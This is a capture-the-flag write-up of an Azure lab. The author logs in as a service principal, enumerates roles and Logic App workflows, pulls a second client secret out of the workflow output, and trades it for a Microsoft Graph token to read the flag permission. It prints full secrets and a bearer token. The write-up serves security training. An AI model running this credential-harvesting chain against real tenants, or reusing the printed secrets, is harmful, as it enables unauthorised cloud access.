Published on

CWL - APP Callback Chaos

Authors
  • avatar
    Name
    mfkrypt
    Twitter
Description
Description
Table of Contents

Starting Point

We are provided the following credentials:

Authenticating into Azure

Retrieving the Tenant ID

First, we need the Tenant ID, we can use the AADInternals PowerShell library for this. We need to import the library first

Import-Module AADInternals

Make an API call by invoking the Get-AADIntTenantID function

PS> Get-AADIntTenantID -Domain secure-corp.org
f2a33211-e46a-4c92-b84d-aff06c2cd13f

Login as Service Principal

az login --service-principal --username e8f4ab33-1a64-476d-9af0-f7b33eec15ae --password w8M8Q~0b3nOppKme1YSfgyluo6l9UTcdfC3OVbzF --tenant f2a33211-e46a-4c92-b84d-aff06c2cd13f

If we get this JSON response, it means the login was successful

[
  {
    "cloudName": "AzureCloud",
    "homeTenantId": "f2a33211-e46a-4c92-b84d-aff06c2cd13f",
    "id": "662a4fee-a3ba-49b3-9caf-8c20ed04503f",
    "isDefault": true,
    "managedByTenants": [],
    "name": "Prod",
    "state": "Enabled",
    "tenantId": "f2a33211-e46a-4c92-b84d-aff06c2cd13f",
    "user": {
      "name": "e8f4ab33-1a64-476d-9af0-f7b33eec15ae",
      "type": "servicePrincipal"
    }
  }
]

Enumerating IAM

Roles

We find the app name that the service principal is representing

az ad sp show --id e8f4ab33-1a64-476d-9af0-f7b33eec15ae

Now, list down the roles of the service principal

az role assignment list --assignee e8f4ab33-1a64-476d-9af0-f7b33eec15ae --all --output table

The role matches the app name. Let's get more details on the custom role

az role definition list --name "logic-workflow-mgmt-app-role"

We see a few permissions authorizing the use of Logic Apps. Logic Apps are created to run workflows that integrate various services, data sources and applications. These workflows are designed to automate business processes, orchestrate tasks, and perform data integrations across different platforms. Simply put, Logic Apps provides a visual designer to create workflows with a wide range of pre-built connectors.

Enumerating Logic Apps & Workflows

Based on the permissions, we can list down available workflows from the Logic App. We would need to provide the Resource Group name which we found earlier, LogicApp-Rg

az logic workflow list --resource-group LogicAPP-Rg

The first thing from the output that caught my eye is another set of service principal credentials

The 2'nd thing is the workflow trigger. Triggers indicate when the workflow should start. Triggers could be an HTTP endpoint, a schedule, or tens of different events from Azure or even external apps.

"triggers": {
        "When_a_HTTP_request_is_received": {
          "kind": "Http",
          "type": "Request"
        }
      }

And the last thing is the Logic App name itself

"id": "/subscriptions/662a4fee-a3ba-49b3-9caf-8c20ed04503f/resourceGroups/LogicAPP-Rg/providers/Microsoft.Logic/workflows/Production-LogicAPP",
    "location": "eastus",
    "name": "Production-LogicAPP",
    "parameters": {
      "$connections": {
        "type": "Object",
        "value": {}
      }
    },

Let's try authenticating into the new set of credentials

Using Newly Found Credentials

Attempting to login from the az-cli tool we result in failure for unknown reasons.

So, I opted to use the Microsoft Graph API method by making a curl request to get the Access Token

curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d 'client_id=4f77df99-134e-4602-97b7-a3c0e73f9667&scope=https%3A%2F%2Fgraph.microsoft.com%2F.default&client_secret=UYY8Q~oCHFS2GjQReHcZ3G8lm_X4OLWMF4dgna_q&grant_type=client_credentials' 'https://login.microsoftonline.com/f2a33211-e46a-4c92-b84d-aff06c2cd13f/oauth2/v2.0/token'
{
    "token_type":"Bearer",
    "expires_in":3599,
    "ext_expires_in":3599,
    "access_token":"eyJ0eXAiOiJKV1QiLCJub25jZSI6Ii1hUF9ObUZ4V19WaHRUdlZZVHd1bkt1YTY4MW05SDM1T2NFa1J0QWRxQ1UiLCJhbGciOiJSUzI1NiIsIng1dCI6IlFaZ045SHFOa0dORU00R2VLY3pEMDJQY1Z2NCIsImtpZCI6IlFaZ045SHFOa0dORU00R2VLY3pEMDJQY1Z2NCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9mMmEzMzIxMS1lNDZhLTRjOTItYjg0ZC1hZmYwNmMyY2QxM2YvIiwiaWF0IjoxNzczNDIwMzYwLCJuYmYiOjE3NzM0MjAzNjAsImV4cCI6MTc3MzQyNDI2MCwiYWlvIjoiQVNRQTIvOGJBQUFBUTk2OHdwaWwwVGFzenRPdnJiamhXZzB5cEhWdFJjZzV5TFRTYm1URnZqaz0iLCJhcHBfZGlzcGxheW5hbWUiOiJHcmFwaFJlYWRlckFwcCIsImFwcGlkIjoiNGY3N2RmOTktMTM0ZS00NjAyLTk3YjctYTNjMGU3M2Y5NjY3IiwiYXBwaWRhY3IiOiIxIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvZjJhMzMyMTEtZTQ2YS00YzkyLWI4NGQtYWZmMDZjMmNkMTNmLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNTc3MDRlNDEtZWIzOC00YTYwLWE1NGUtYWYxZGY2NTk1YTVhIiwicmgiOiIxLkFiNEFFVEtqOG1ya2treTRUYV93YkN6UlB3TUFBQUFBQUFBQXdBQUFBQUFBQUFBQUFBQy1BQS4iLCJyb2xlcyI6WyJBcHBsaWNhdGlvbi5SZWFkLkFsbCJdLCJzdWIiOiI1NzcwNGU0MS1lYjM4LTRhNjAtYTU0ZS1hZjFkZjY1OTVhNWEiLCJ0ZW5hbnRfcmVnaW9uX3Njb3BlIjoiQVMiLCJ0aWQiOiJmMmEzMzIxMS1lNDZhLTRjOTItYjg0ZC1hZmYwNmMyY2QxM2YiLCJ1dGkiOiJyTk5LNU12OEpVaXpKMWVPMU5BZkFBIiwidmVyIjoiMS4wIiwid2lkcyI6WyIwOTk3YTFkMC0wZDFkLTRhY2ItYjQwOC1kNWNhNzMxMjFlOTAiXSwieG1zX2FjZCI6MTc1MjU2MzYzNywieG1zX2FjdF9mY3QiOiIzIDkiLCJ4bXNfZnRkIjoiSmhPWVM2c0lWbzZib0s1TUNnYVE0MldMdTE0UXhPTGRrSlQwTmtoclpIRUJhMjl5WldGalpXNTBjbUZzTFdSemJYTSIsInhtc19pZHJlbCI6IjcgMTYiLCJ4bXNfcmQiOiIwLjQyTGpZQkppMnNjb0pNTEJMaVRRc0RCSXdQWEJKTy1sNjFad3ZIaFdhZ3NVNVJRU3NGenJmVFk0VE1Gejl2S0p3WWJwMjRxQW9oeENBc3dNRUhBQVNnTkZ1WVVFWXFOLVprMDRfZm50bm0wT1M4N25MelFGQUEiLCJ4bXNfc3ViX2ZjdCI6IjMgOSIsInhtc190Y2R0IjoxNzIwMDcxMjU0LCJ4bXNfdG50X2ZjdCI6IjMgNiJ9.ESb3UhWWoMTEVVF3omTn1Bgv8WkHSK5Usiu1mPmbtWc_BHLHdAQkgIKDtsDK_n9SkfLV002sYu2c59c6ZSgqVeOHUOOwv2eox7Oq3IoXzusFl9uQveZEHvX_yOPaMPmOhAlTCvBaHwJZBB7_LKgFuyhHR-p_o2shae75mSj9UtE5-StIpAdMhIfVwYUgXCCPmOtnuYCeyEZCuwmslZ3J6qY-HbNgb-QyT6Qsa0h2ihobuEQhZ6IVLos3EF9pX9LIAoOJcwjzeLNNC5MjKR1efn_jXX95fK6ReKdR543a--xItWOoeQft7-UXjma8qnFuJWZA7kg-VK0bkZo4trSJ2A"
}

Now, open Powershell and import the Microsoft.Graph module. It might take a while since it has a lot of functions in the API

Import-Module Microsoft.Graph

Pass the token as a variable and connect to the API

$token = <TOKEN>
$securetoken = ConvertTo-SecureString $token -AsPlainText -Force
Connect-MgGraph -AccessToken $securetoken

Identifying API Permission of GraphReaderApp

Now, our goal is to discover the flag which is also the API permission of the GraphReaderApp Application. Let's get the AppId of the app

Get-MgApplication -All

Next, we need the AppRoleId

$ServicePrincipal = Get-MgServicePrincipal -Filter "AppId eq '4f77df99-134e-4602-97b7-a3c0e73f9667'" 
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $ServicePrincipal.Id

I just used Deepseek AI for the following stuff. We do a lookup/translation of the AppRoleId of GraphReaderApp to the fixed Microsoft Graph permission catalog which is 00000003-0000-0000-c000-000000000000

$graphSpn = Get-MgServicePrincipal -Filter "AppId eq '00000003-0000-0000-c000-000000000000'"
$permission = $graphSpn.AppRoles | Where-Object { $_.Id -eq '9a5d68dd-52b0-4cc2-bd40-abcf44ac3a30' }
$permission | Select-Object Id, DisplayName, Value, Description

And there is our flag


Sources